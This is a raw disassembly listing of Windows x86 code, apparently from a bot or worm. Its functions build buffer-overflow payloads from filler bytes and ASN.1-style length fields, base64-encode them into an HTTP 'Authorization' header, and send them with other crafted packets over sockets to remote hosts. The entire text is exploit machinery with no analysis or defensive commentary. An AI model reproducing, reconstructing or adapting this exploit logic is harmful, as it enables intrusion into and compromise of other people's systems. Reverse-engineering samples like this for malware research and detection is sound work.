lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40CDC8
push edi
push edi
call ds:dword_4F5350 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40D020
loc_40D015: ; CODE XREF: sub_40CF86+98j
cmp [ebp+var_8], edi
jnz short loc_40D020
push 32h
call esi ; Sleep
jmp short loc_40D015
; ---------------------------------------------------------------------------
loc_40D020: ; CODE XREF: sub_40CF86+8Dj
; sub_40CF86+92j
push [ebp+arg_0]
call ds:dword_4F533C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40D047
inc [ebp+var_2C]
jmp loc_40CFB4
; ---------------------------------------------------------------------------
loc_40D047: ; CODE XREF: sub_40CF86+B7j
push [ebp+var_1C]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_448B34 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409D34
push [ebp+var_20]
call sub_40BA72
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40CF86 endp
; =============== S U B R O U T I N E =======================================
sub_40D093 proc near ; CODE XREF: sub_40D335+Ep
; sub_40D335+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40D093 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push dword ptr [ebp+8]
call _strlen
pop ecx
push eax
lea ecx, [ebp-8]
push dword ptr [ebp+8]
call sub_40D0CB
mov ecx, [eax]
mov [esi], ecx
mov eax, [eax+4]
mov [esi+4], eax
mov eax, esi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40D0CB(void *Src,size_t Size)
sub_40D0CB proc near ; CODE XREF: .text:0040D0B5p
; sub_40D335+11Ep
Src = dword ptr 4
Size = dword ptr 8
push ebx
mov ebx, [esp+4+Size]
push esi
push edi
mov esi, ecx
push ebx ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jz short loc_40D0FD
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset
push ebx ; Size
push [esp+1Ch+Src] ; Src
push edi ; Dst
call _memcpy
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40D0FD: ; CODE XREF: sub_40D0CB+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D0CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40D105(void *Src,size_t Size,int,int)
sub_40D105 proc near ; CODE XREF: sub_40D1FF+18p
; sub_40D279+16p ...
Src = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+Size]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi ; Size
call _malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40D151
push edi ; Size
push 0 ; Val
push esi ; Dst
call _memset
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
push [ebp+arg_C] ; Size
mov eax, [ebp+Size]
add eax, esi
push [ebp+arg_8] ; Src
push eax ; Dst
call _memcpy
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40D151: ; CODE XREF: sub_40D105+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40D105 endp
; =============== S U B R O U T I N E =======================================
sub_40D15A proc near ; CODE XREF: sub_40D1FF+5Ep
; sub_40D1FF+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40D16A
push eax ; Memory
call _free
pop ecx
loc_40D16A: ; CODE XREF: sub_40D15A+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40D15A endp
; =============== S U B R O U T I N E =======================================
sub_40D173 proc near ; CODE XREF: sub_40D1FF+20p
; sub_40D2DA+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40D1A0
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40D1A4
loc_40D1A0: ; CODE XREF: sub_40D173+Dj
xor al, al
jmp short loc_40D1FB
; ---------------------------------------------------------------------------
loc_40D1A4: ; CODE XREF: sub_40D173+2Bj
mov eax, ebx
add eax, [esi+4]
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
cmp ebx, 1
jnz short loc_40D1C9
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40D1E3
; ---------------------------------------------------------------------------
loc_40D1C9: ; CODE XREF: sub_40D173+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4] ; Size
lea eax, [edi+3]
push dword ptr [esi] ; Src
loc_40D1E3: ; CODE XREF: sub_40D173+54j
push eax ; Dst
call _memcpy
add esp, 0Ch
push dword ptr [esi] ; Memory
call _free
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40D1FB: ; CODE XREF: sub_40D173+2Fj
pop edi
pop esi
pop ebx
retn
sub_40D173 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1FF proc near ; CODE XREF: sub_40D335+89p
; sub_40D335+E3p ...
Src = dword ptr -8
Size = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+Src]
push dword ptr [esi+4] ; int
push dword ptr [esi] ; int
push 1 ; Size
push offset dword_4E5E2C ; Src
call sub_40D105
lea ecx, [ebp+Src]
call sub_40D173
mov eax, [ebp+Size]
inc eax
push eax ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40D239
xor al, al
jmp short loc_40D275
; ---------------------------------------------------------------------------
loc_40D239: ; CODE XREF: sub_40D1FF+34j
mov eax, [ebp+Size]
inc eax
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
mov byte ptr [edi], 3
push [ebp+Size] ; Size
lea eax, [edi+1]
push [ebp+Src] ; Src
push eax ; Dst
call _memcpy
add esp, 18h
mov ecx, esi
call sub_40D15A
mov eax, [ebp+Size]
lea ecx, [ebp+Src]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40D15A
mov al, 1
loc_40D275: ; CODE XREF: sub_40D1FF+38j
pop edi
pop esi
leave
retn
sub_40D1FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D279 proc near ; CODE XREF: sub_40D2AD+14p
; sub_40D2CA+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4] ; int
lea ecx, [ebp+var_8]
push [ebp+arg_0] ; int
push dword ptr [esi+4] ; Size
push dword ptr [esi] ; Src
call sub_40D105
mov ecx, esi
call sub_40D15A
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40D279 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40D2AD(char *Str)
sub_40D2AD proc near ; CODE XREF: sub_40D335+F0p
; sub_40D335+15Bp ...
Str = dword ptr 4
push esi
mov esi, ecx
push [esp+4+Str] ; Str
call _strlen
pop ecx
push eax
mov ecx, esi
push [esp+8+Str]
call sub_40D279
pop esi
retn 4
sub_40D2AD endp
; =============== S U B R O U T I N E =======================================
sub_40D2CA proc near ; CODE XREF: sub_40D316+Bp
; sub_40D335+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40D279
retn 8
sub_40D2CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2DA proc near ; CODE XREF: sub_40D316+16p
; sub_40D335+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40D173
test al, al
jz short loc_40D313
push dword ptr [esi+4] ; int
lea ecx, [ebp+var_8]
push dword ptr [esi] ; int
push 1 ; Size
push offset dword_448ECC ; Src
call sub_40D105
mov ecx, esi
call sub_40D15A
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40D313: ; CODE XREF: sub_40D2DA+Fj
pop esi
leave
retn
sub_40D2DA endp
; =============== S U B R O U T I N E =======================================
sub_40D316 proc near ; CODE XREF: sub_40D335+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40D2CA
test al, al
jz short loc_40D331
mov ecx, esi
call sub_40D2DA
loc_40D331: ; CODE XREF: sub_40D316+12j
pop esi
retn 8
sub_40D316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D335 proc near ; CODE XREF: sub_40DB0C+88p
Dst = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40D093
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D689
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D689
push esi
lea ecx, [ebp+var_30]
call sub_40D093
lea ecx, [ebp+var_20]
call sub_40D093
lea ecx, [ebp+var_50]
call sub_40D093
lea ecx, [ebp+var_18]
call sub_40D093
lea ecx, [ebp+var_40]
call sub_40D093
lea ecx, [ebp+var_38]
call sub_40D093
lea ecx, [ebp+var_28]
call sub_40D093
push 4
push offset dword_448B6C
lea ecx, [ebp+var_30]
call sub_40D279
push 3
push offset dword_448B74
lea ecx, [ebp+var_30]
call sub_40D279
lea ecx, [ebp+var_30]
call sub_40D1FF
lea ecx, [ebp+var_30]
call sub_40D2DA
mov esi, 800h
lea eax, [ebp+Dst]
push esi ; Size
push 42h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40D279
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40D279
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+Dst]
push eax
call sub_40D279
lea ecx, [ebp+var_20]
call sub_40D1FF
push offset dword_448ED0 ; Str
lea ecx, [ebp+var_50]
call sub_40D2AD
lea ecx, [ebp+var_50]
call sub_40D1FF
push esi ; Size
lea eax, [ebp+Dst]
push 44h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
lea ecx, [ebp+var_58]
push 410h ; Size
push eax ; Src
call sub_40D0CB
lea ecx, [ebp+var_58]
call sub_40D1FF
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40D316
lea ecx, [ebp+var_58]
call sub_40D15A
push esi ; Size
lea eax, [ebp+Dst]
push 43h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40D2AD
push 4
push offset dword_448B78
lea ecx, [ebp+var_18]
call sub_40D279
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40D279
sub edi, [ebp+arg_8]
lea eax, [ebp+Dst]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40D279
lea ecx, [ebp+var_18]
call sub_40D1FF
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40D2CA
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40D2CA
lea ecx, [ebp+var_40]
call sub_40D2DA
lea ecx, [ebp+var_18]
call sub_40D15A
lea ecx, [ebp+var_50]
call sub_40D15A
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40D2CA
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40D2CA
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40D2CA
lea ecx, [ebp+var_38]
call sub_40D2DA
lea ecx, [ebp+var_20]
call sub_40D15A
lea ecx, [ebp+var_30]
call sub_40D15A
lea ecx, [ebp+var_40]
call sub_40D15A
push esi ; Size
lea eax, [ebp+Dst]
push 41h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40D279
lea ecx, [ebp+var_28]
call sub_40D1FF
push 2
push offset dword_448EE4
lea ecx, [ebp+var_28]
call sub_40D279
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40D2CA
lea ecx, [ebp+var_28]
call sub_40D2DA
lea ecx, [ebp+var_38]
call sub_40D15A
lea ecx, [ebp+var_10]
call sub_40D093
lea ecx, [ebp+var_8]
call sub_40D093
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40D2CA
lea ecx, [ebp+var_10]
call sub_40D173
lea ecx, [ebp+var_28]
call sub_40D15A
push offset dword_448EE8 ; Str
lea ecx, [ebp+var_8]
call sub_40D2AD
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40D2CA
lea ecx, [ebp+var_8]
call sub_40D173
lea ecx, [ebp+var_10]
call sub_40D15A
push offset dword_448EEC ; Str
lea ecx, [ebp+var_10]
call sub_40D2AD
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40D2CA
lea ecx, [ebp+var_10]
call sub_40D173
lea ecx, [ebp+var_8]
call sub_40D15A
push offset dword_448EF0 ; Str
lea ecx, [ebp+var_8]
call sub_40D2AD
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40D2CA
lea ecx, [ebp+var_8]
call sub_40D173
lea ecx, [ebp+var_10]
call sub_40D15A
push offset dword_448EFC ; Str
lea ecx, [ebp+var_48]
call sub_40D2AD
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40D2CA
lea ecx, [ebp+var_8]
call sub_40D15A
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D697
; ---------------------------------------------------------------------------
loc_40D689: ; CODE XREF: sub_40D335+1Bj
; sub_40D335+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D697: ; CODE XREF: sub_40D335+352j
pop edi
pop ebx
leave
retn
sub_40D335 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D69B proc near ; CODE XREF: sub_40D75F+A1p
; sub_40D75F+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_4F5544 ; select
cmp eax, edi
jnz short loc_40D702
lea eax, [ebp+var_10C]
push eax
push esi
call sub_43ABA2 ; __WSAFDIsSet
test eax, eax
jnz short loc_40D706
loc_40D702: ; CODE XREF: sub_40D69B+54j
xor eax, eax
jmp short loc_40D716
; ---------------------------------------------------------------------------
loc_40D706: ; CODE XREF: sub_40D69B+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4E3110 ; recv
loc_40D716: ; CODE XREF: sub_40D69B+69j
pop edi
pop esi
leave
retn
sub_40D69B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D71A proc near ; CODE XREF: sub_40D75F+81p
; sub_40D75F+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4E30F4 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
cmp eax, 4
jz short loc_40D744
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D744: ; CODE XREF: sub_40D71A+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4E3148 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D71A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D75F(int,void *Src,size_t Size)
sub_40D75F proc near ; CODE XREF: sub_40D839+48p
; sub_40DB0C+15Bp
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+Size]
lea ebx, [edi+41h]
push ebx ; Size
mov [ebp+var_4], ebx
call _malloc
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D788
xor al, al
jmp loc_40D834
; ---------------------------------------------------------------------------
loc_40D788: ; CODE XREF: sub_40D75F+20j
push ebx ; Size
push 0 ; Val
push esi ; Dst
call _memset
push 2Fh ; Size
push offset dword_448C08 ; Src
push esi ; Dst
call _memcpy
push 8 ; Size
lea eax, [esi+31h]
push offset dword_448C38 ; Src
push eax ; Dst
mov [esi+2Fh], di
call _memcpy
push edi ; Size
lea ebx, [esi+3Bh]
push [ebp+Src] ; Src
mov [esi+39h], di
push ebx ; Dst
call _memcpy
push 6 ; Size
add ebx, edi
push offset dword_4E5E24 ; Src
push ebx ; Dst
call _memcpy
mov ebx, [ebp+arg_0]
push 85h
push offset dword_448B80
push ebx
call sub_40D71A
add esp, 48h
test al, al
jnz short loc_40D7F0
loc_40D7EC: ; CODE XREF: sub_40D75F+B5j
xor bl, bl
jmp short loc_40D82B
; ---------------------------------------------------------------------------
loc_40D7F0: ; CODE XREF: sub_40D75F+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D69B
push [ebp+var_4]
push esi
push ebx
call sub_40D71A
add esp, 1Ch
test al, al
jz short loc_40D7EC
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D69B
add esp, 10h
mov bl, 1
loc_40D82B: ; CODE XREF: sub_40D75F+8Fj
push esi ; Memory
call _free
pop ecx
mov al, bl
loc_40D834: ; CODE XREF: sub_40D75F+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D75F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D839(int,void *Src,size_t Size)
sub_40D839 proc near ; CODE XREF: sub_40DB0C+141p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_448C44
push [ebp+arg_0]
call ds:dword_4F5540 ; send
cmp eax, 48h
jnz short loc_40D874
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D69B
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D874
cmp [ebp+var_20], 82h
jz short loc_40D878
loc_40D874: ; CODE XREF: sub_40D839+1Bj
; sub_40D839+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D878: ; CODE XREF: sub_40D839+39j
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push [ebp+arg_0] ; int
call sub_40D75F
add esp, 0Ch
leave
retn
sub_40D839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D88B proc near ; CODE XREF: sub_40D8D7+29p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_43C470
call __ftol
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_43C468
fstp [esp+10h+var_10]
call _floor
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call __ftol
inc eax
leave
retn
sub_40D88B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8D7 proc near ; CODE XREF: sub_40DA4E+23p
var_4C = qword ptr -4Ch
var_38 = byte ptr -38h
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str = dword ptr 14h
mov eax, offset loc_43BA8F
call __EH_prolog
sub esp, 2Ch
push esi
lea eax, [ebp+var_D]
push edi
xor esi, esi
push eax
lea ecx, [ebp+var_38]
mov [ebp+var_20], esi
call sub_40DCD3
push 1
pop edi
push [ebp+arg_8]
mov [ebp+var_4], edi
call sub_40D88B
pop ecx
push eax
lea ecx, [ebp+var_38]
call sub_40DDE8
cmp [ebp+arg_8], esi
mov [ebp+var_18], esi
jbe loc_40DA22
push ebx
mov ebx, [ebp+arg_8]
loc_40D91F: ; CODE XREF: sub_40D8D7+144j
cmp [ebp+arg_8], 3
jb short loc_40D92A
push 3
loc_40D927: ; CODE XREF: sub_40D8D7+5Bj
pop ebx
jmp short loc_40D93B
; ---------------------------------------------------------------------------
loc_40D92A: ; CODE XREF: sub_40D8D7+4Cj
cmp [ebp+arg_8], 2
jnz short loc_40D934
push 2
jmp short loc_40D927
; ---------------------------------------------------------------------------
loc_40D934: ; CODE XREF: sub_40D8D7+57j
cmp [ebp+arg_8], edi
jnz short loc_40D93B
mov ebx, edi
loc_40D93B: ; CODE XREF: sub_40D8D7+51j
; sub_40D8D7+60j
and dword ptr [ebp+var_28+4], 0
mov dword ptr [ebp+var_28], ebx
fild [ebp+var_28]
push ecx
push ecx ; double
fmul ds:dbl_43C478
fstp [esp+4Ch+var_4C]
call _ceil
pop ecx
pop ecx
call __ftol
test ebx, ebx
mov [ebp+var_1C], eax
jbe short loc_40D97C
mov esi, [ebp+arg_4]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp+var_10]
shr ecx, 2
rep movsd
mov ecx, edx
push 1
and ecx, 3
rep movsb
pop edi
loc_40D97C: ; CODE XREF: sub_40D8D7+8Aj
mov cl, [ebp+var_10]
mov dl, [ebp+var_10]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp+var_14], cl
mov cl, [ebp+var_F]
sar cl, 4
and cl, 0Fh
add [ebp+arg_4], ebx
shl dl, 4
add cl, dl
mov dl, [ebp+var_F]
mov [ebp+var_13], cl
mov cl, [ebp+var_E]
sar cl, 6
and dl, 0Fh
sub [ebp+arg_8], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp+var_12], cl
mov cl, [ebp+var_E]
and cl, 3Fh
test eax, eax
mov [ebp+var_11], cl
jbe short loc_40D9E9
add [ebp+var_18], eax
loc_40D9CE: ; CODE XREF: sub_40D8D7+110j
movsx eax, [ebp+esi+var_14]
lea ecx, [ebp+var_38]
mov al, byte_448C90[eax]
push eax ; int
push edi ; Size
call sub_40DD68
inc esi
cmp esi, [ebp+var_1C]
jb short loc_40D9CE
loc_40D9E9: ; CODE XREF: sub_40D8D7+F2j
cmp [ebp+var_18], 48h
jb short loc_40D9FE
push [ebp+Str] ; Str
lea ecx, [ebp+var_38]
call sub_40DD40
and [ebp+var_18], 0
loc_40D9FE: ; CODE XREF: sub_40D8D7+116j
push 4
pop esi
cmp [ebp+var_1C], esi
jnb short loc_40DA17
sub esi, [ebp+var_1C]
loc_40DA09: ; CODE XREF: sub_40D8D7+13Ej
push 3Dh ; int
push edi ; Size
lea ecx, [ebp+var_38]
call sub_40DD68
dec esi
jnz short loc_40DA09
loc_40DA17: ; CODE XREF: sub_40D8D7+12Dj
cmp [ebp+arg_8], 0
ja loc_40D91F
pop ebx
loc_40DA22: ; CODE XREF: sub_40D8D7+3Ej
mov ecx, [ebp+arg_0]
lea eax, [ebp+var_38]
push eax
call sub_40DCEB
mov [ebp+var_20], edi
and byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_38]
call sub_40DD38
mov ecx, [ebp+var_C]
mov eax, [ebp+arg_0]
pop edi
pop esi
mov large fs:0, ecx
leave
retn
sub_40D8D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DA4E proc near ; CODE XREF: sub_40DB0C+124p
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
mov eax, offset loc_43BAA9
call __EH_prolog
sub esp, 10h
push ebx
push esi
push edi
push offset dword_4E5E30
and [ebp+var_4], 0
push [ebp+arg_8]
lea eax, [ebp+var_1C]
push [ebp+arg_4]
push eax
call sub_40D8D7
add esp, 10h
lea ecx, [ebp+var_1C]
mov byte ptr [ebp+var_4], 1
call sub_40DDE4
lea ecx, [ebp+arg_C]
mov esi, eax
call sub_40DDE4
lea esi, [esi+eax+36h]
push esi ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40DAA4
xor bl, bl
jmp short loc_40DAE3
; ---------------------------------------------------------------------------
loc_40DAA4: ; CODE XREF: sub_40DA4E+50j
lea ecx, [ebp+var_1C]
call sub_40DDD7
push eax
lea ecx, [ebp+arg_C]
call sub_40DDD7
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi ; Count
push edi ; Dest
call __snprintf
add esp, 14h
push 0
push esi
push edi
push [ebp+arg_0]
call dword_4E3148 ; send
cmp eax, esi
jz short loc_40DADA
xor bl, bl
jmp short loc_40DADC
; ---------------------------------------------------------------------------
loc_40DADA: ; CODE XREF: sub_40DA4E+86j
mov bl, 1
loc_40DADC: ; CODE XREF: sub_40DA4E+8Aj
push edi ; Memory
call _free
pop ecx
loc_40DAE3: ; CODE XREF: sub_40DA4E+54j
and byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_1C]
call sub_40DD38
or [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_C]
call sub_40DD38
mov ecx, [ebp+var_C]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40DA4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB0C proc near ; DATA XREF: .data:00448324o
; .data:00448364o ...
Dst = byte ptr -424h
var_423 = byte ptr -423h
Dest = byte ptr -395h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
Src = dword ptr -8
Size = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 424h
and [ebp+Dst], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_423]
push 8Fh ; Size
rep stosd
stosw
stosb
lea eax, [ebp+Dst]
push offset dword_448E3C ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
